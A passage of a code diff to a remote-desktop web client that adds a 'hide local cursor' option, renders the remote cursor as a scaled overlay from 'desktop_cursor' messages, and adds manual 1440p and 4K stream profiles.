clipboardSyncCtrl.checked = settings.clipboardSync; @@ -488,6 +496,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s mouse: !!mouseCtrl?.checked, keyboard: !!kbdCtrl?.checked, cursor: !!cursorCtrl?.checked, + hideLocalCursor: !!hideLocalCursorCtrl?.checked, duplication: !!duplicationCtrl?.checked, softwareH264: !!softwareH264Ctrl?.checked, clipboardSync: !!clipboardSyncCtrl?.checked, @@ -540,6 +549,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function setStreamState(state, text) { streamState = state; + if (state !== "streaming" && state !== "stalled") { + lastRemoteCursor = null; + renderRemoteCursor(); + } if (statusEl) { const icons = { connecting: '', @@ -1259,6 +1272,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s webrtcActive = !!active; if (canvas) canvas.style.display = active ? "none" : "block"; if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none"; + renderRemoteCursor(); if (!active && networkStats) { networkStats.textContent = "--"; networkStats.title = ""; @@ -1659,10 +1673,20 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } streamProfileSelect.appendChild(option); } - if (streamProfileSelect.options.length === 1) { + const manualHighResolutionProfiles = [ + { maxHeight: 1440, fps: 30, label: "30 FPS - 1440p" }, + { maxHeight: 1440, fps: 60, label: "60 FPS - 1440p" }, + { maxHeight: 2160, fps: 30, label: "30 FPS - 2160p (4K)" }, + { maxHeight: 2160, fps: 60, label: "60 FPS - 2160p (4K)" }, + ]; + const existingProfiles = new Set(Array.from(streamProfileSelect.options, (option) => option.value)); + for (const profile of manualHighResolutionProfiles) { + const value = `${profile.maxHeight}:${profile.fps}`; + if (existingProfiles.has(value)) continue; const option = document.createElement("option"); - option.value = "1080:60"; - option.textContent = "60 FPS - 1080p"; + option.value = value; + option.textContent = profile.label; + option.title = "Manual high-resolution profile"; streamProfileSelect.appendChild(option); } if (!setSelectValue(streamProfileSelect, savedStreamProfile || "auto") && @@ -1817,14 +1841,69 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } } + + function renderRemoteCursor(message = lastRemoteCursor) { + lastRemoteCursor = message; + const image = message?.image; + if (remoteCursorImage && image instanceof Uint8Array && image.byteLength > 0) { + if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl); + remoteCursorImageUrl = URL.createObjectURL(new Blob([image], { type: "image/png" })); + remoteCursorImage.src = remoteCursorImageUrl; + remoteCursorShape = { + width: Math.max(1, Number(message.cursorWidth) || 1), + height: Math.max(1, Number(message.cursorHeight) || 1), + hotspotX: Math.max(0, Number(message.hotspotX) || 0), + hotspotY: Math.max(0, Number(message.hotspotY) || 0), + }; + } + const hideLocalCursor = !!hideLocalCursorCtrl?.checked; + const showRemoteCursor = !!cursorCtrl?.checked && !!message?.visible && !!remoteCursorShape && + (!mouseCtrl?.checked || hideLocalCursor); + const localCursor = hideLocalCursor ? "none" : "default"; + canvas.style.cursor = localCursor; + if (webrtcVideo) webrtcVideo.style.cursor = localCursor; + if (!remoteCursor || !renderSurface || !showRemoteCursor) { + if (remoteCursor) remoteCursor.hidden = true; + return; + } + const surface = webrtcActive ? webrtcVideo : canvas; + const sourceWidth = Number(message.width) || (surface === webrtcVideo ? webrtcVideo.videoWidth : canvas.width); + const sourceHeight = Number(message.height) || (surface === webrtcVideo ? webrtcVideo.videoHeight : canvas.height); + if (!sourceWidth || !sourceHeight) { + remoteCursor.hidden = true; + return; + } + const surfaceRect = surface.getBoundingClientRect(); + const containerRect = renderSurface.getBoundingClientRect(); + const scaleX = surfaceRect.width / sourceWidth; + const scaleY = surfaceRect.height / sourceHeight; + const x = surfaceRect.left - containerRect.left + (Number(message.x) || 0) * scaleX - + remoteCursorShape.hotspotX * scaleX; + const y = surfaceRect.top - containerRect.top + (Number(message.y) || 0) * scaleY - + remoteCursorShape.hotspotY * scaleY; + remoteCursor.style.width = `${remoteCursorShape.width * scaleX}px`; + remoteCursor.style.height = `${remoteCursorShape.height * scaleY}px`; + remoteCursor.style.transform = `translate3d(${x}px, ${y}px, 0)`; + remoteCursor.hidden = false; + } + + function updateCursorPresentation() { + renderRemoteCursor(); + } + function pushCaptureToggles() { if (cursorCtrl) { - sendCmd("desktop_enable_cursor", { enabled: cursorCtrl.checked }); + updateCursorPresentation(); + sendCmd("desktop_enable_cursor", { enabled: !!cursorCtrl.checked }); } if (duplicationCtrl && !duplicationCtrl.disabled) { sendCmd("desktop_set_duplication", { enabled: !!duplicationCtrl.checked }); } } + updateCursorPresentation(); + if (renderSurface && typeof ResizeObserver === "function") { + new ResizeObserver(() => renderRemoteCursor()).observe(renderSurface); + } function pushPrivacyToggle() { if (!privacyCtrl) return; @@ -1844,6 +1923,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s mouseCtrl.addEventListener("change", function () { pushInputToggles(); + updateCursorPresentation(); sharedSettingsSaver.scheduleSave(); }); canvasContainer.setAttribute("tabindex", "0"); @@ -1876,6 +1956,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s pushCaptureToggles(); sharedSettingsSaver.scheduleSave(); }); + if (hideLocalCursorCtrl) { + hideLocalCursorCtrl.addEventListener("change", function () { + updateCursorPresentation(); + sharedSettingsSaver.scheduleSave(); + }); + } if (duplicationCtrl) { duplicationCtrl.addEventListener("change", function () { pushCaptureToggles(); @@ -2483,6 +2569,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } const msg = decodeMsgpack(buf); + if (msg && msg.type === "desktop_cursor") { + renderRemoteCursor(msg); + return; + } if (msg && msg.type === "desktop_encoder_capabilities") { applyEncoderCapabilities(msg); return; @@ -2526,6 +2616,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } const msg = decodeMsgpack(ev.data); + if (msg && msg.type === "desktop_cursor") { + renderRemoteCursor(msg); + return; + } if (msg && msg.type === "desktop_encoder_capabilities") { applyEncoderCapabilities(msg); return; diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index 355aaaa..7279d09 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -187,6 +187,10 @@ + + + +
Checking hardware encoder profiles…
@@ -244,9 +248,12 @@ -